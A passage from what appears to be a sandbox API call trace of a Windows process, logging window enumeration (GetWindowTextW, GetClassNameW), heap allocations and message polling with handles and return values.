lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.885] GetWindowTextW (in: hWnd=0x102cc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.885] GetClassNameW (in: hWnd=0x102cc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.885] GetWindowTextW (in: hWnd=0x102ca, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.885] GetClassNameW (in: hWnd=0x102ca, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.886] GetWindowTextW (in: hWnd=0x102c8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.886] GetClassNameW (in: hWnd=0x102c8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.886] GetWindowTextW (in: hWnd=0x102c6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.886] GetClassNameW (in: hWnd=0x102c6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.886] GetWindowTextW (in: hWnd=0x102c4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.886] GetClassNameW (in: hWnd=0x102c4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.886] GetWindowTextW (in: hWnd=0x102c2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.886] GetClassNameW (in: hWnd=0x102c2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.886] GetWindowTextW (in: hWnd=0x102c0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.886] GetClassNameW (in: hWnd=0x102c0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.887] GetWindowTextW (in: hWnd=0x102be, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.887] GetClassNameW (in: hWnd=0x102be, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.887] GetWindowTextW (in: hWnd=0x102bc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.887] GetClassNameW (in: hWnd=0x102bc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.887] GetWindowTextW (in: hWnd=0x102ba, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.887] GetClassNameW (in: hWnd=0x102ba, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.887] GetWindowTextW (in: hWnd=0x102b8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.887] GetClassNameW (in: hWnd=0x102b8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.887] GetWindowTextW (in: hWnd=0x102b6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.888] GetClassNameW (in: hWnd=0x102b6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.888] GetWindowTextW (in: hWnd=0x102b4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.888] GetClassNameW (in: hWnd=0x102b4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.888] GetWindowTextW (in: hWnd=0x3013c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.888] GetClassNameW (in: hWnd=0x3013c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.888] GetWindowTextW (in: hWnd=0x401ca, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.888] GetClassNameW (in: hWnd=0x401ca, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.888] GetWindowTextW (in: hWnd=0x102ae, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.888] GetClassNameW (in: hWnd=0x102ae, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.888] GetWindowTextW (in: hWnd=0x102a8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.889] GetClassNameW (in: hWnd=0x102a8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.889] GetWindowTextW (in: hWnd=0x1029e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.889] GetClassNameW (in: hWnd=0x1029e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.889] GetWindowTextW (in: hWnd=0x10296, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.889] GetClassNameW (in: hWnd=0x10296, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.889] GetWindowTextW (in: hWnd=0x1028c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.889] GetClassNameW (in: hWnd=0x1028c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.889] GetWindowTextW (in: hWnd=0x1028a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.889] GetClassNameW (in: hWnd=0x1028a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.890] GetWindowTextW (in: hWnd=0x10280, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.890] GetClassNameW (in: hWnd=0x10280, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.890] GetWindowTextW (in: hWnd=0x10276, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.890] GetClassNameW (in: hWnd=0x10276, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.890] GetWindowTextW (in: hWnd=0x1026c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.890] GetClassNameW (in: hWnd=0x1026c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.890] GetWindowTextW (in: hWnd=0x10262, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.890] GetClassNameW (in: hWnd=0x10262, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.890] GetWindowTextW (in: hWnd=0x10258, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.890] GetClassNameW (in: hWnd=0x10258, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.891] GetWindowTextW (in: hWnd=0x10256, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.891] GetClassNameW (in: hWnd=0x10256, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.891] GetWindowTextW (in: hWnd=0x10248, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.891] GetClassNameW (in: hWnd=0x10248, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.891] GetWindowTextW (in: hWnd=0x10242, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.891] GetClassNameW (in: hWnd=0x10242, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.891] GetWindowTextW (in: hWnd=0x10232, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.891] GetClassNameW (in: hWnd=0x10232, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.891] GetWindowTextW (in: hWnd=0x10230, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.892] GetClassNameW (in: hWnd=0x10230, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.892] GetWindowTextW (in: hWnd=0x10228, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.892] GetClassNameW (in: hWnd=0x10228, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.892] GetWindowTextW (in: hWnd=0x10212, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.892] GetClassNameW (in: hWnd=0x10212, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.892] GetWindowTextW (in: hWnd=0x10210, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.892] GetClassNameW (in: hWnd=0x10210, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.892] GetWindowTextW (in: hWnd=0x1020c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.892] GetClassNameW (in: hWnd=0x1020c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.892] GetWindowTextW (in: hWnd=0x2012e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.893] GetClassNameW (in: hWnd=0x2012e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.893] GetWindowTextW (in: hWnd=0x60316, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.893] GetClassNameW (in: hWnd=0x60316, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.893] GetWindowTextW (in: hWnd=0x5007c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.893] GetClassNameW (in: hWnd=0x5007c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.893] GetWindowTextW (in: hWnd=0x101d6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.893] GetClassNameW (in: hWnd=0x101d6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.893] GetWindowTextW (in: hWnd=0x101c4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.893] GetClassNameW (in: hWnd=0x101c4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.893] GetWindowTextW (in: hWnd=0x101a8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.894] GetClassNameW (in: hWnd=0x101a8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.894] GetWindowTextW (in: hWnd=0x1018a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.894] GetClassNameW (in: hWnd=0x1018a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.894] GetWindowTextW (in: hWnd=0x100fe, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.894] GetClassNameW (in: hWnd=0x100fe, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.894] GetWindowTextW (in: hWnd=0x100fa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0132.894] GetClassNameW (in: hWnd=0x100fa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0132.894] GetWindowTextW (in: hWnd=0x100f0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.894] GetClassNameW (in: hWnd=0x100f0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.895] GetWindowTextW (in: hWnd=0x100e4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.897] GetClassNameW (in: hWnd=0x100e4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.897] GetWindowTextW (in: hWnd=0x20074, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.897] GetClassNameW (in: hWnd=0x20074, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0132.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0132.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0132.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0132.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0132.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0132.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0132.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0132.897] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9a58 | out: hHeap=0xe80000) returned 1 [0132.897] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.897] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9d78 [0132.898] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0132.898] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.898] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0132.898] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.898] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0132.898] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0132.898] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0132.898] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9d78 | out: hHeap=0xe80000) returned 1 [0132.898] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0132.898] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.899] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016080 | out: hHeap=0xe80000) returned 1 [0132.899] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.899] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.899] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0132.899] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554f0 [0132.899] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554f0 | out: hHeap=0xe80000) returned 1 [0132.899] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0132.899] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.899] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e80 [0132.899] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e80 | out: hHeap=0xe80000) returned 1 [0132.900] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0132.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0132.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0132.900] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0132.901] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0132.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0132.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0132.901] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0132.902] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0132.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0132.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0132.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016240 [0132.902] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016240 | out: hHeap=0xe80000) returned 1 [0132.902] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0132.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554f0 [0132.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554f0 | out: hHeap=0xe80000) returned 1 [0132.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0132.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0132.903] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0132.903] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0132.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055650 [0132.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055650 | out: hHeap=0xe80000) returned 1 [0132.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0132.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016200 [0132.904] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0132.904] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf298 [0132.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0132.904] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9d28 [0132.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0132.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0132.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0132.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076958 | out: hHeap=0xe80000) returned 1 [0132.905] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9d28 | out: hHeap=0xe80000) returned 1 [0132.905] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9bc0 [0132.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0132.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0132.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0132.905] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0132.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0132.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf448 [0132.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0132.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2e8 [0132.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0132.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0132.905] EnumWindows (lpEnumFunc=0x30aed4, lParam=0x375500) [0132.905] GetWindowTextW (in: hWnd=0x10132, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.905] GetClassNameW (in: hWnd=0x10132, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0132.906] GetWindowTextW (in: hWnd=0x10104, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.906] GetClassNameW (in: hWnd=0x10104, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0132.906] GetWindowTextW (in: hWnd=0x100d4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.906] GetClassNameW (in: hWnd=0x100d4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.906] GetWindowTextW (in: hWnd=0x100ae, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.906] GetClassNameW (in: hWnd=0x100ae, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.906] GetWindowTextW (in: hWnd=0x100b2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.906] GetClassNameW (in: hWnd=0x100b2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.906] GetWindowTextW (in: hWnd=0x100be, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.907] GetClassNameW (in: hWnd=0x100be, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.907] GetWindowTextW (in: hWnd=0x100c8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.907] GetClassNameW (in: hWnd=0x100c8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.907] GetWindowTextW (in: hWnd=0x100cc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.907] GetClassNameW (in: hWnd=0x100cc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.907] GetWindowTextW (in: hWnd=0x10090, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.907] GetClassNameW (in: hWnd=0x10090, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.907] GetWindowTextW (in: hWnd=0x1009e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.907] GetClassNameW (in: 